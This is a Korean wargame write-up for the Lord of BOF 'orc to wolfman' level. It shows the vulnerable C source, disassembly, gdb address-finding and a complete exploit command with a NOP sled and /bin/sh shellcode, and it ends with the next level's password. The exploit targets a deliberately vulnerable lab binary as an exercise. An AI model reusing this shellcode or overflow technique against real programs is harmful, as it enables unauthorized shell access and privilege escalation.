0. 들어가기 전에
이번 문제도 저번 문제와 크게 다르지 않았다.
1. Level 5 : Orc -> Wolfman
소스코드를 확인해 보자!
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
어셈블리 코드도 확인해보자!
0x8048500 <main>: push %ebp
0x8048501 <main+1>: mov %ebp,%esp
0x8048503 <main+3>: sub %esp,44
0x8048506 <main+6>: cmp DWORD PTR [%ebp+8],1
0x804850a <main+10>: jg 0x8048523 <main+35>
0x804850c <main+12>: push 0x8048640
0x8048511 <main+17>: call 0x8048410 <printf>
0x8048516 <main+22>: add %esp,4
0x8048519 <main+25>: push 0
0x804851b <main+27>: call 0x8048420 <exit>
0x8048520 <main+32>: add %esp,4
0x8048523 <main+35>: nop
0x8048524 <main+36>: mov DWORD PTR [%ebp-44],0x0
0x804852b <main+43>: nop
0x804852c <main+44>: lea %esi,[%esi*1]
0x8048530 <main+48>: mov %eax,DWORD PTR [%ebp-44]
0x8048533 <main+51>: lea %edx,[%eax*4]
0x804853a <main+58>: mov %eax,%ds:0x8049760
0x804853f <main+63>: cmp DWORD PTR [%eax+%edx],0
0x8048543 <main+67>: jne 0x8048547 <main+71>
0x8048545 <main+69>: jmp 0x8048587 <main+135>
0x8048547 <main+71>: mov %eax,DWORD PTR [%ebp-44]
사실 밑에 buffer hunter라는 녀석이 생긴 것 말고는 달라진 점은 없다. 우리는 어차피 NOP SLED 방식을 활용하므로 buffer hunter로 초기화해도 프로그램 실행 흐름상 버퍼오버플로우를 발생시키는 것에 무리는 없다.
저번 문제와 똑같이 카피코드를 gdb로 디버깅해서 주소를 찾았다.
b * main
r `python -c "print 'A'*44+'\xbf\xbf\xbf\xbf'` `python -c "print '\x90'*200+"B"*40'`
//대략적인 주소
0xbffffc3c
익스플로잇 :
./wolfman `python -c "print 'A'*44 + '\x3c\xfc\xff\xbf'"` `python -c "print '\x90' * 200 + '\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80'"`
비밀번호 : love eyuna
Source
- 해커스쿨 FTZ
- Me!